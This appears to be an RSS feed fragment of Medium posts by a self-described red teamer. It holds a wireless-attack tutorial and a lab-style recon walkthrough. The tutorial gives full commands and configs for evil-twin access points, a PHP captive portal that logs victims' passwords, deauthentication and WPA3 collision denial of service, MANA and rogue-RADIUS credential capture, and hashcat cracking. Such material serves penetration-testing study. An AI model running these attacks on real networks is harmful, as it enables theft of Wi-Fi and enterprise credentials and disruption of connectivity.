contains:</p><pre>interface=wlan1<br>dhcp-range=192.168.0.2,192.168.0.254,255.255.255.0,10h<br>dhcp-option=3,192.168.0.1<br>dhcp-option=6,192.168.0.1<br>server=8.8.4.4<br>server=8.8.8.8<br>listen-address=127.0.0.1<br>address=/#/192.168.0.1<br>log-dhcp<br>log-queries</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*stslkVz5L3sTaoCtD35S4g.png" /></figure><p>Run dnsmasq</p><pre>sudo dnsmasq -C dns.conf -d</pre><p>Setting the IP address for the wireless interface (wlan1):</p><pre>sudo ifconfig wlan1 192.168.0.1/24</pre><p>Change the interface MAC address to resemble that of the legitimate access point using macchanger:</p><pre>ifconfig wlan1 down<br>macchanger -m D4:C1:8B:79:AD:44 wlan1<br>ifconfig wlan1 up</pre><p>Enable IP Forwarding:</p><pre>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre><p>Run dnsspoof to redirect traffic to the attacker’s IP address</p><pre>sudo dnsspoof -i wlan1</pre><h4>3- Setup the captive portal</h4><p>Install Apache and PHP server</p><pre>sudo apt-get install apache2 php libapache2-mod-php</pre><p>Enabling the Rewrite Engine in Apache</p><pre>sudo a2enmod rewrite</pre><p>Modify the Apache configuration file (/etc/apache2/apache2.conf) to allow overrides (AllowOverride All)</p><pre>&lt;Directory /&gt;<br>    Options FollowSymLinks<br>    AllowOverride All<br>    Require all denied<br>&lt;/Directory&gt;<br>&lt;Directory /var/www/&gt;<br>    Options Indexes FollowSymLinks<br>    AllowOverride All<br>    Require all granted<br>&lt;/Directory&gt;</pre><p>Create a .htaccess file in /var/www/html to force clients to visit the household portal:</p><pre>RewriteEngine on<br>RewriteCond %{REQUEST_FILENAME} !-d<br>RewriteCond %{REQUEST_FILENAME} !-f<br>RewriteRule . index.html [L]</pre><p>Create a PHP file (received.php) to record the entered passwords:</p><pre>&lt;?php<br>if(isset($_POST[&#39;submit&#39;])) {<br>    $password = $_POST[&#39;password&#39;];<br>    $data = $password . &quot;\\r\\n&quot;;<br>    $ret = file_put_contents(&#39;passes.lst&#39;, $data, FILE_APPEND | LOCK_EX);<br>    if($ret === false) {<br>        die(&#39;An error has occurred&#39;);<br>    } else {<br>        echo &quot;Thank you for signing in. You will be redirected shortly!&quot;;<br>    }<br>} else {<br>    die(&#39;No post data to process&#39;);<br>}<br>?&gt;</pre><p>Fix any permissions issues:</p><pre>sudo chown -R www-data:www-data /var/www/html/passes.lst</pre><h4>4- Spin up the fake access point</h4><p>Create a fake access point using hostapd with a network name (ESSID) and MAC address similar to the legitimate network</p><p>Create a hostapd.conf configuration file:</p><pre>interface=wlan1<br>hw_mode=g<br>ssid=Dbgman<br>channel=1<br>driver=nl80211</pre><p>Turn on the access point:</p><pre>hostapd hostapd.conf</pre><p>If clients do not connect automatically, a deauthentication attack can be performed to force them to connect:</p><pre>aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 wlan0mon</pre><h4>5- Capture &amp; Validate the credentials</h4><p>When a customer enters login data into the family portal, it is saved in the passes.lst file.</p><p>After entering the password, it is saved in the file:</p><pre>cat /var/www/html/passes.lst</pre><p>Enable internet access for the client to avoid arousing suspicion using iptables rules</p><pre>iptables --append POSTROUTING --table nat --out-interface eth0 -j MASQUERADE<br>iptables --append FORWARD --in-interface wlan1 -j ACCEPT</pre><h3>2- Karma &amp; Mana Attacks</h3><h4>INFO</h4><p>KARMA and MANA attacks are wireless attacks that exploit the behavior of devices that automatically connect to known Wi-Fi networks stored in the Preferred Network List (PNL)</p><h4>Preferred Network List (PNL)</h4><ul><li>When a device (client) connects to a Wi-Fi network, the network name (ESSID) and the necessary settings for reconnecting are saved in a list called the PNL.</li><li>This list contains all the networks the device has previously connected to, enabling automatic connection when the network is in range</li></ul><h4>Passive Scanning</h4><ul><li>In this mode, the device listens for beacon frames broadcast by nearby access points.</li><li>If the device detects an advertisement frame with a network name (ESSID) that is in the PNL list, it automatically connects to that access point.</li><li>Note: In passive scanning, the client does not send probe requests, making it difficult for an attacker to determine which networks the client is searching for</li></ul><h4>Active Scanning</h4><p>In this mode, the client sends probe requests to search for nearby access points. There are two types of probe requests:</p><ul><li>Directed Probe Requests: These are sent to a specific network name (ESSID) in the PNL, and are the only way to discover hidden networks.</li><li>Broadcast Probe Requests: These are sent without specifying a network name (SSID = NULL), allowing networks to be identified without revealing the contents of the PNL.</li></ul><h4>KARMA</h4><p>If the client searches for networks like “MegaCorp” or “HackTheBox,” the fake access point generates fake responses for these networks.</p><h4>Mana</h4><ul><li>The MANA attack is an advanced version of the KARMA attack, developed to overcome security improvements in modern devices.</li><li>The attacker creates a fake access point that logs exploration requests from nearby devices and builds its own PNLs.</li><li>The MAC addresses of the devices are stored in a main hash table, along with a sub-hash table containing the network names (ESSIDs) that each device searches for.</li></ul><h4>MANA attack</h4><p>The wireless interface (wlan0) is put into monitor mode using airmon-ng:</p><pre>airmon-ng start wlan0</pre><p>Scan networks with airodump-ng to identify clients and discovery requests:</p><pre>airodump-ng wlan0mon</pre><h4>Setting up a virtual access point:</h4><p>Create a hostapd.conf configuration file to run a virtual access point using hostapd-mana:</p><pre>interface=wlan1<br>driver=nl80211<br>hw_mode=g<br>channel=1<br>ssid=Anything<br>wpa=2<br>wpa_key_mgmt=WPA-PSK<br>wpa_pairwise=TKIP CCMP<br>wpa_passphrase=Anything<br>enable_mana=1<br>mana_loud=1</pre><p>Parameter Explanation:</p><ul><li>SSID: Set to “Anything” because hostapd-mana automatically responds to discovery requests.</li><li>enable_mana: Enables MANA mode (similar to a KARMA attack).</li><li>mana_loud: Broadcasts advertisement frames to all discovered networks.</li></ul><h4>Attack run:</h4><pre>hostapd-mana hostapd.conf</pre><h4>Capture WPA/WPA2 handshake</h4><ul><li>If the client fails to connect due to a password mismatch (PSK mismatch), the handshake can be captured to attempt to crack it.</li><li>Edit the hostapd.conf file to disable MANA mode and enable handshake capture.</li></ul><pre>interface=wlan1<br>driver=nl80211<br>hw_mode=g<br>channel=1<br>ssid=HackMe<br>wpa=2<br>wpa_key_mgmt=WPA-PSK<br>wpa_pairwise=TKIP CCMP<br>wpa_passphrase=anything<br>mana_wpaout=handshake.hccapx</pre><p>Restart hostapd-mana:</p><pre>hostapd-mana hostapd.conf</pre><p>The handshake is saved in the handshake.hccapx file</p><h4>Handshake processing</h4><p>Convert handshake file to pcap format using hcxhash2cap:</p><pre>hcxhash2cap --hccapx=handshake.hccapx -c handshake.pcap</pre><p>Convert pcap file to Hashcat format using hcxpcapngtool:</p><pre>hcxpcapngtool handshake.pcap -o hash.22000</pre><p>Attempt to crack password using hashcat:</p><pre>sudo hashcat -a 0 -m 22000 hash.22000 /opt/wordlist.txt --force</pre><h4>MANA Attack on Enterprise Networks</h4><ul><li>Targeted customers are those looking for enterprise networks that use WPA Enterprise protocols.</li><li>Because the exact authentication method is unknown, a trial-and-error approach is used.</li></ul><h3>Access point setup:</h3><p>hostapd.conf configuration file for enterprise networks:</p><pre>interface=wlan1<br>ssid=Anything<br>channel=1<br>auth_algs=3<br>wpa_key_mgmt=WPA-EAP<br>wpa_pairwise=TKIP CCMP<br>wpa=3<br>hw_mode=g<br>ieee8021x=1<br>eap_server=1<br>eap_user_file=/opt/hostapd-mana/hostapd.eap_user<br>ca_cert=/opt/hostapd-mana/ca.pem<br>server_cert=/opt/hostapd-mana/server.pem<br>private_key=/opt/hostapd-mana/server.key<br>private_key_passwd=whatever<br>dh_file=/opt/hostapd-mana/dh<br>enable_mana=1<br>mana_loud=1<br>mana_credout=credentials.creds<br>mana_eapsuccess=1<br>mana_wpe=1</pre><p>Parameter explanation:</p><ul><li>wpa_key_mgmt=WPA-EAP: Enables WPA Enterprise authentication.</li><li>eap_user_file: Specifies the EAP configuration file to control client negotiation</li><li>mana_credout: Specifies where stolen credentials are stored.</li><li>mana_wpe: Enables EAP credential capture mode.</li><li>certificates: Used to support modes such as TTLS-PAP and GTC.</li></ul><h3>Attack run:</h3><pre>hostapd-mana hostapd.conf</pre><h3>Evil Twin Attack on WPA3</h3><h4>Why is WPA3 harder than WPA2?</h4><p>WPA3 enforces <strong>Protected Management Frames (PMF / 802.11w)</strong>.</p><p>This means classic deauthentication attacks using aireplay-ng --deauth are completely ignored — the client simply drops them and stays connected.</p><p><strong>The workaround = Force a DoS using “MAC/BSSID Collision” + Loud MANA</strong></p><p>We create <strong>two fake access points at the same time</strong>:</p><ol><li><strong>Collision AP</strong> (wlan1)</li></ol><ul><li>Same SSID → dbgman-Corp</li><li>Same exact BSSID → 9C:9A:03:39:BD:7A (we spoof the real AP’s MAC)</li><li>Wrong password (doesn’t matter)</li><li>MANA + mana_loud=1 → floods the air with beacons</li></ul><p>→ Clients can no longer connect to the legitimate AP → DoS achieved.</p><p><strong>2. Open AP</strong> (wlan2)</p><ul><li>Same SSID → dbgman-Corp</li><li>Open (no password)</li><li>Captive portal ready → Frustrated clients see an “open” version of their network and connect manually.</li></ul><p>When the victim types the real WPA3 password on the fake portal → we catch it in clear text.</p><h4>Requirements</h4><p>Three wireless cards that support monitor + AP mode</p><ul><li>wlan0 → monitor mode (scanning)</li><li>wlan1 → collision AP (same BSSID + MANA loud)</li><li>wlan2 → open AP + captive portal</li></ul><h4>Step-by-Step Commands</h4><pre># 1. Put wlan0 in monitor mode<br>sudo airmon-ng check kill<br>sudo airmon-ng start wlan0<br>airodump-ng wlan0mon<br># You’ll see: dbgman-Corp | BSSID 9C:9A:03:39:BD:7A | Channel 1 | WPA3 SAE</pre><pre># 2. Collision AP (wlan1) – same BSSID + MANA loud<br>cat &gt; collision.conf &lt;&lt; EOF<br>interface=wlan1<br>ssid=dbgman-Corp<br>channel=1<br>hw_mode=g</pre><pre># Fake WPA2 (wrong PSK on purpose)<br>wpa=2<br>wpa_key_mgmt=WPA-PSK<br>rsn_pairwise=CCMP<br>wpa_passphrase=ThisIsDefinitelyWrong</pre><pre># MANA loud for maximum disruption<br>enable_mana=1<br>mana_loud=1<br>EOF</pre><pre># Spoof the real BSSID<br>sudo ifconfig wlan1 down<br>sudo macchanger -m 9C:9A:03:39:BD:7A wlan1<br>sudo ifconfig wlan1 up</pre><pre># Start the collision AP<br>sudo hostapd-mana collision.conf<br># This floods beacons and breaks the legitimate connection</pre><pre># 3. Open AP (wlan2) – the one the victim will actually join<br>cat &gt; open.conf &lt;&lt; EOF<br>interface=wlan2<br>driver=nl80211<br>ssid=dbgman-Corp<br>channel=1<br>hw_mode=g<br>EOF</pre><pre># dnsmasq configuration<br>cat &gt; dns.conf &lt;&lt; EOF<br>interface=wlan2<br>dhcp-range=192.168.0.2,192.168.0.254,255.255.255.0,12h<br>dhcp-option=3,192.168.0.1<br>dhcp-option=6,192.168.0.1<br>server=8.8.8.8<br>address=/#/192.168.0.1<br>EOF</pre><pre>sudo systemctl stop systemd-resolved<br>sudo dnsmasq -C dns.conf -d</pre><pre># Give IP to wlan2<br>sudo ifconfig wlan2 192.168.0.1/24</pre><pre># Enable forwarding (optional but nice)<br>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre><pre># Optional: force every website to the portal<br>sudo dnsspoof -i wlan2 &amp;</pre><pre># Start the open AP<br>sudo hostapd open.conf</pre><h3>What happens now?</h3><ul><li>Victim loses connection to the real dbgman-Corp (collision DoS)</li><li>Sees an open dbgman-Corp network → connects manually</li><li>Captive portal pops up → types the real password</li></ul><h3>The password you will see:</h3><pre>cat /var/www/html/passes.lst</pre><h3>Enterprise Evil Twin Attack</h3><p>What is a WPA-Enterprise Evil Twin?</p><p>Instead of one shared password (like WPA2-PSK), every user has their own <strong>username + password</strong> that is checked against a real RADIUS server.</p><p>We create a <strong>completely fake access point + fake RADIUS server</strong> that looks 100% identical to the real one (same SSID, same certificates, same domain).</p><p>Our fake RADIUS server <strong>accepts everything</strong> and logs whatever the victim types or sends.</p><h4>Tools used</h4><ul><li>hostapd-wpe or hostapd-mana → the rogue AP + fake RADIUS</li><li>EAPHammer can also do the same thing (easier), but the module uses hostapd-wpe/mana</li></ul><h4>Step-by-step</h4><ol><li><strong>Scan &amp; capture handshake</strong></li></ol><pre>sudo airmon-ng start wlan0<br>airodump-ng wlan0mon -c 1 --essid dbgman-Wireless -w enterprise<br>aireplay-ng --deauth 5 -a 9C:9A:03:39:BD:7A wlan0mon</pre><ol><li><strong>Generate certificates</strong></li></ol><pre># DH parameters<br>openssl dhparam -out dh.pem 2048</pre><pre># CA key + certificate<br>openssl genrsa -out ca-key.pem 2048<br>openssl req -new -x509 -days 365 -key ca-key.pem -out ca.pem \\\\<br>  -subj &quot;/C=US/ST=California/L=San Francisco/O=dbgman/OU=IT/CN=dbgman RADIUS&quot;</pre><pre># Server key + CSR<br>openssl req -newkey rsa:2048 -nodes -keyout server-key.pem -out server.csr \\\\<br>  -subj &quot;/C=US/ST=California/L=San Francisco/O=dbgman/CN=dbgman RADIUS&quot;</pre><pre># Sign the server certificate<br>openssl x509 -req -days 365 -in server.csr -CA ca.pem -CAkey ca-key.pem \\\\<br>  -CAcreateserial -out server.pem</pre><ol><li><strong>Create the rogue AP config</strong> (hostapd.conf)</li></ol><pre>interface=wlan1<br>driver=nl80211<br>ssid=dbgman-Wireless<br>hw_mode=g<br>channel=1<br>ieee8021x=1<br>eap_server=1<br>auth_algs=3<br>wpa=2<br>wpa_key_mgmt=WPA-EAP<br>wpa_pairwise=CCMP<br>rsn_pairwise=CCMP</pre><pre># Certificates<br>ca_cert=ca.pem<br>server_cert=server.pem<br>private_key=server-key.pem<br>private_key_passwd=whatever<br>dh_file=dh.pem<br>eap_user_file=hostapd.eap_user</pre><pre># MANA / KARMA options (so clients connect automatically)<br>enable_mana=1<br>mana_loud=1<br>mana_credout=creds.txt<br>mana_wpe=1<br>mana_eapsuccess=1</pre><ol><li><strong>Force the client to downgrade to weak methods</strong> (hostapd.eap_user)</li></ol><pre>* PEAP,TTLS,TLS,MD5,GTC<br>&quot;t&quot; TTLS-PAP,TTLS-MSCHAPV2,MSCHAPV2,GTC &quot;whatever&quot; [2]</pre><p><strong>2. Launch the rogue AP</strong></p><pre>sudo hostapd-mana hostapd.conf<br># or<br>sudo hostapd-wpe hostapd.conf</pre><p><strong>3. Deauth clients so they reconnect faster</strong></p><pre>sudo aireplay-ng --deauth 10 -a 9C:9A:03:39:BD:7A wlan0mon</pre><p><strong>4. Wait credentials appear automatically</strong> You will see something like this in the terminal:</p><pre>username: dbgman\\\\Sentinal.Jr<br>challenge: xx:xx:xx:xx:xx:xx:xx:xx<br>response:  xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx<br>jtr NETNTLM:  Sentinal.Jr::$NETNTLM$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</pre><p>Or directly in the file creds.txt / credentials.creds.</p><ol><li><strong>Crack the hash with Hashcat</strong></li></ol><pre>hashcat -m 5500 netntlmv2_hash.txt /usr/share/wordlists/rockyou.txt --force</pre><p>You can automate all of this with Tools like:</p><p>Wifiphisher<br>EAPHammer<br>Fluxion<br>Airgeddon<br>But as a hacker, I prefer manual 100%. I only use automation when I’m in a hurry or need something rare. Otherwise? Everything is done manually from scratch; <strong>that’s what real hacking is for me.</strong></p><p><strong>Stay tuned for Part 3</strong> We will dive deep into:</p><ul><li>All known WPA3/SAE attacks &amp; downgrades</li><li>All known WPA2/PSK All attacks Deep Dive</li><li>Advanced Management Frame attacks (beyond simple deauth)</li><li>Real-world exploitation &amp; mitigation techniques</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9be0ad26764a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Joy of Wireless From Signals to Attacks Part.1]]></title>
            <link>https://medium.com/@DbgMan/the-joy-of-wireless-from-signals-to-attacks-part-1-0a375ee4316f?source=rss-c764dd1f18ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a375ee4316f</guid>
            <dc:creator><![CDATA[Abdelrahman Y. (DbgMan)]]></dc:creator>
            <pubDate>Sat, 22 Nov 2025 22:14:17 GMT</pubDate>
            <atom:updated>2025-11-25T07:26:32.227Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*ZxWjQoFguzGDemzjtWp0mA.webp" /></figure><blockquote><em>Hi — I’m DebuggerMan, a Red Teamer<br></em>In this post, we’ll dive into <strong>Wireless Security</strong>: what wireless networks are,How ist work , the differences between <strong>WEP and WPA2 </strong>, how <strong>reconnaissance</strong> works in Wi-Fi assessments, and what <strong>Open Networks</strong> mean from both a security and attack perspective.</blockquote><h3>1. How Wireless Networks Actually Work</h3><p>A wireless network relies on radio frequency (RF) technology to transmit data through the air. Here’s the step-by-step explanation in English:</p><ul><li>Your device’s wireless adapter converts digital data (1s and 0s) into a radio frequency signal and feeds it to an antenna.</li><li>The antenna transmits this signal as electromagnetic radio waves through the air — very similar to how FM radio or TV signals work, but at much higher frequencies (2.4 GHz, 5 GHz, or 6 GHz).</li><li>The wireless router (or Access Point) receives these radio waves, decodes the data, and forwards it to the internet via a wired Ethernet connection — and it works the same way in reverse.</li><li>To connect, any device needs a built-in wireless network adapter (Wi-Fi chip) to detect the signal, decode it, and exchange data with the router. → Today, nearly all devices (phones, laptops, TVs, smart home gadgets, etc.) come with this Wi-Fi chip built in.</li></ul><h3>2. Main Components of a Wireless Network</h3><ul><li><strong>Access Point (AP)</strong>: The router itself.</li><li><strong>Client Devices</strong>: Your phone, laptop, smart TV, etc.</li><li><strong>Antennas</strong>: The parts that send and receive the radio waves.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*Xpc6zab9MRT29SeazalZiw.png" /></figure><h3>3. How a Device Connects to Wi-Fi</h3><ol><li><strong>Discovery : </strong>Every ~100 milliseconds, the router shouts into the air: “I’m here! My name (SSID) is XYZ!” → This is called a Beacon Frame.</li></ol><p><strong>2.Authentication</strong></p><p>Your phone says: <strong>I want to connect, here’s the password.</strong></p><ul><li>If it’s <strong>WPA3</strong> → Uses <strong>SAE</strong> (very strong authentication).</li><li>If it’s <strong>WPA2</strong> → Uses a pre-shared key</li></ul><p><strong>3.Association</strong>:They exchange info: “What speed do you support? Which channel? How many antennas?”</p><p><strong>4.Data Transfer:</strong>Every packet sent gets an <strong>I received it</strong> reply called ACK. If no ACK → resend the packet.</p><p><strong>5.Disconnection:</strong>When you disconnect, a Deauthentication Frame is sent → “Bye-bye!”</p><h3>4. Wi-Fi Standards (IEEE 802.11)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*Ov9qRXFkCKXptY8-_BaRgA.png" /></figure><h3>5. What Do Companies Use? (Enterprise Wi-Fi)</h3><p>They don’t use one password for everyone. Instead, they use <strong>EAP</strong> inside <strong>PEAP</strong>:</p><ul><li><strong>PEAP</strong> creates an encrypted tunnel (like the green padlock you see in browsers — TLS tunnel).</li><li>Inside that secure tunnel, <strong>EAP</strong> handles the actual login safely.</li></ul><p>Common EAP types:</p><ol><li><strong>PAP</strong>: Sends username &amp; password in clear text (very weak).</li><li><strong>CHAP</strong>: Server sends a random challenge, client replies with a hash.</li><li><strong>MS-CHAPv2</strong>: Microsoft’s improved version (most commonly used).</li></ol><h3>6. How Does Encryption Happen?</h3><p>After authentication:</p><ul><li>The device and router generate a temporary key (PTK).</li><li>All data is encrypted using:</li><li><strong>TKIP</strong> → Old and weak (used in WPA).</li><li><strong>AES-CCMP</strong> → Very strong (used in WPA2 and WPA3).</li></ul><h3>7. Why Do Deauthentication Attacks Work on WPA2?</h3><p>Because in WPA2:</p><ul><li><strong>Management Frames</strong> (Deauth, Disassoc, Beacon, etc.) are <strong>not encrypted and not authenticated</strong>!</li><li>Anyone with a laptop, an external Wi-Fi card (like Alfa), and tools like <strong>Aircrack-ng</strong> can:</li></ul><ol><li>Spoof the router’s MAC address.</li><li>Send fake Deauth frames saying: “The router says get out!”</li><li>Your phone believes it and disconnects immediately.</li></ol><h3>8. How Did WPA3 Fix This Problem?</h3><ul><li>Made <strong>Protected Management Frames (PMF / 802.11w)</strong> <strong>mandatory</strong>.</li><li>Every management frame is now encrypted with <strong>AES-GCMP-256</strong> and authenticated.</li><li>Impossible to forge a Deauth frame because the client demands proof (via <strong>SAE</strong>) that the frame really came from the legitimate router.</li></ul><h3>9. Wi-Fi Authentication Types</h3><p><strong>WEP</strong></p><ul><li>Very old and insecure.</li></ul><p><strong>WPA</strong></p><ul><li>An improvement over WEP but still outdated.</li></ul><p><strong>WPA2-Personal (WPA2-PSK)</strong></p><ul><li>Uses a Pre-Shared Key (a simple Wi-Fi password).</li><li>Commonly used in home networks.</li></ul><p><strong>WPA2-Enterprise</strong></p><p><strong>Uses 802.1X authentication with different EAP methods:</strong></p><ul><li><strong>EAP-TTLS / PAP</strong> → Username and password inside an encrypted tunnel.</li><li><strong>PEAP-MSCHAPv2</strong> → The most widely used method in companies but vulnerable to credential theft attacks.</li></ul><p><strong>WPA3-Personal (WPA3-SAE)</strong></p><ul><li>Uses SAE (Simultaneous Authentication of Equals).</li><li>Provides strong protection against offline password-cracking attacks.</li></ul><p><strong>WPA3-Enterprise</strong></p><ul><li>Uses <strong>EAP-TLS</strong>.</li><li>The strongest Wi-Fi authentication method.</li><li>Depends on certificates instead of passwords.</li></ul><p><strong>Certificate-Based Authentication (CBA)</strong></p><ul><li>Mainly used in Enterprise Wi-Fi environments.</li><li>Uses both client and server certificates.</li><li>It is the foundation of <strong>EAP-TLS</strong>, the most secure Enterprise authentication method.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*-BP1xs1WmBOB8hZag2Y--g.png" /></figure><h3>1.First The Three Main Frame Types</h3><h4>802.11 Frame Types</h4><p><strong>00 — Management Frames</strong></p><ul><li>The most important category for pentesters.</li><li>Includes Beacon, Probe Request/Response, Authentication, Association, and Deauthentication frames.</li><li>These frames handle network discovery, joining, and disconnecting.</li></ul><p><strong>01 — Control Frames</strong></p><ul><li>Used to control and manage the transmission process.</li><li>Examples: RTS, CTS, ACK.</li><li>Relevant in certain DoS attacks that exploit control mechanisms.</li></ul><p><strong>10 — Data Frames</strong></p><ul><li>Carry actual Wi-Fi data.</li><li>Also include the <strong>EAPOL packets</strong> used in the 4-way handshake, which we capture and crack in WPA/WPA2/WPA3-Personal attacks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*6ta7cdDBn_fa8A1jDbTOfg.png" /></figure><h3>2. General Frame Format of any 802.11 frame<br>Each frame has 3 main parts:</h3><p>1-MAC Header (approximately 24 to 36 bytes)<br>2-Frame Body (variable in size, possibly 0–2312 bytes)<br>3-FCS (4 bytes) → Frame Check Sequence (CRC-32)</p><h4>The most important fields in the header:</h4><p>Every Wi-Fi packet in the world is simply a MAC frame that contains <strong>9 main fields</strong>, the most important for us being:</p><ul><li><strong>Frame Control:</strong> Defines the frame type and subtype (e.g., Beacon, Deauth, Data …)</li><li><strong>Duration/ID:</strong> Indicates how long the channel will remain occupied</li><li><strong>Address 1/2/3/4:</strong> MAC addresses (BSSID, client MAC, source, destination …)</li><li><strong>Sequence Control:</strong> Sequence number to avoid duplicates</li><li><strong>Data:</strong> Actual payload (encrypted in WPA2/WPA3)</li><li><strong>FCS/CRC:</strong> Checksum for error detection</li></ul><h3>3. To DS and From DS</h3><p>Two countries in the Frame Control specify how to use the 4 Address Fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*I_GpZc829QBxYnHhxc6zTA.png" /></figure><h3>4. The most important types of frames (Type = 00)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*Ob5sLxXftVY0Jko9qRsBbw.png" /></figure><h3>5. The most important type of frame: Control (Type = 01)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*xPDYYXEmwBPnR0z9Ct9GGQ.png" /></figure><h3>6. The most important frame types: Data (Type = 10)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*bpLXVVtYstRuEEK4rEAuEQ.png" /></figure><h3>7. WiFi Interface Modes</h3><ol><li><strong>Managed Mode (Client / Station Mode)</strong></li></ol><ul><li>This is the normal mode used by laptops and phones.</li><li>The WiFi card connects to an access point just like a regular client.</li><li>Command example: iwconfig wlan0 mode managed</li></ul><p><strong>2. Ad-hoc Mode (IBSS)</strong></p><ul><li>Two or more devices connect directly to each other without a router.</li><li>Rarely used today except in special setups or labs.</li><li>Command example: iwconfig wlan0 mode ad-hoc</li></ul><p><strong>3. Master Mode (Access Point Mode)</strong></p><ul><li>Turns your WiFi card into an Access Point.</li><li>Used for Rogue AP, Evil Twin, fake enterprise networks, etc.</li><li>Cannot be done with iwconfig.</li><li>Requires tools like <strong>hostapd</strong> or <strong>airbase-ng</strong>.</li></ul><p><strong>4. Mesh Mode</strong></p><ul><li>Used in large mesh networks (Google WiFi, Ubiquiti, etc.).</li><li>Allows devices to route traffic dynamically through each other.</li><li>Command example: iw dev wlan0 set type mesh</li></ul><p><strong>5. Monitor Mode</strong></p><ul><li>The most important mode for pentesting.</li><li>Captures <strong>all frames</strong> in the air, even those not addressed to your device.</li><li>Used in <em>every</em> WiFi attack: handshake capture, deauth, WPS, PMKID, etc.</li></ul><p>Commands:</p><ul><li>iw wlan0 set monitor control</li><li>or the easier method: airmon-ng start wlan0</li></ul><h3>Now Lets Go to attack</h3><h3>1.Recon</h3><h4>01. What is the channel that the wifi-global Access Point (AP) is currently using?</h4><pre># Scans all WiFi networks on both 2.4GHz and 5GHz bands and saves the capture for analysis<br>sudo airodump-ng wlan0mon --manufacturer --wps --band abg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QK9U3RV7Uk2hDhDNXawXzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*YBqZla_dizes7V-RTHR_MA.png" /></figure><h4>02. What is the MAC of the wifi-IT client?</h4><pre># Scans all WiFi networks on both 2.4GHz and 5GHz bands and saves the capture for analysis<br>sudo airodump-ng wlan0mon --manufacturer --wps --band abg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTUDFH1NMqr0T4FEzJGBWQ.png" /></figure><pre>sudo airodump-ng wlan0mon --manufacturer --wps -c11</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqPXLqNOUHOkwSNtWU2Shg.png" /></figure><h4>03.What is the probe of 78:C1:A7:BF:72:46 that follows the format of the other networks in the range (wifi-)?</h4><p><strong>What is a Probe Request?</strong></p><p>Every device (mobile phone, laptop, etc.) sends something called a <strong>Probe Request </strong>when searching for previously saved Wi-Fi networks. This request contains the network name (SSID) that the device wants to connect to, even if the network is hidden.</p><pre>sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naWmEYA7ymOPi7V51GipmQ.png" /></figure><h4>04. What is the ESSID of the hidden AP (mac F0:9F:C2:6A:88:26)?</h4><p>Because the attacker uses mdk4 to send fake Probe Responses containing network names starting with “wifi-” followed by common passwords from the rockyou dictionary, when the real AP (whose ESSID is hidden) responds to one of these Probe Requests, the real name will appear in the Probe Response.</p><pre># Scans all WiFi networks on both 2.4GHz and 5GHz bands and saves the capture for analysis<br>sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MRNA4w8_e5XkGHly41UPQ.png" /></figure><pre># 1 Generates a list of common hidden SSIDs by adding &quot;wifi-&quot; prefix to the top 100k rockyou passwords<br>cat ~/rockyou-top100000.txt | awk &#39;{print &quot;wifi-&quot; $1}&#39; &gt; ~/wifi-rockyou.txt</pre><pre># 2 Puts the wireless interface into monitor mode so we can capture and inject packets<br>sudo airmon-ng start wlan0</pre><pre># 3 Forces the card to stay on channel 11 (where the hidden AP is operating)<br>sudo iwconfig wlan0mon channel 11</pre><pre># 4 Launches mdk4 probe-response flood attack targeting the hidden AP (MAC F0:9F:C2:6A:88:26) using the generated SSID list to force it to reveal its real name<br>sudo mdk4 wlan0mon p -t F0:9F:C2:6A:88:26 -f wifi-rockyou.txt</pre><p>This is called a Directed Probe Request Attack or SSID Revealing Attack, and it is the only and fastest way to detect hidden networks when there is no client.</p><h3>2.For Open Network</h3><h4>05. What is the flag in the hidden AP router behind default credentials?</h4><pre># nano free.conf<br>  network={<br>	ssid=&quot;wifi-free&quot;<br>	key_mgmt=NONE<br>	scan_ssid=1<br>}<br>  <br>  <br># For Client<br>wpa_supplicant -Dnl80211 -iwlan2 -c free.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*wAtDyJb_chrQmCOwbGbeHA.png" /></figure><pre># take ip From DHCP <br>dhclient wlan2 -v</pre><pre>Now Login To web and  default credentials is<br>user:admin<br>pass:admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*YTLgDHcpYM5a5lPvw26AiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7ecWlsN9qWhW1HhlM6ONA.png" /></figure><h4>06. What is the flag on the AP router of the wifi-guest network?</h4><p>This network is open (OPN) like the previous one, but when you connect to it, it will open a Captive Portal (automatic login page) and ask you for a username and password.</p><p>The goal: To bypass this Captive Portal and access the router’s administration page (as in the previous question) and get the flag.</p><pre>sudo airmon-ng start wlan0<br>sudo airodump-ng wlan0mon -w Scan6 -c 6 --band bg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ideuc7Wke0gAj_gfErIqdw.png" /></figure><figure><img alt="" 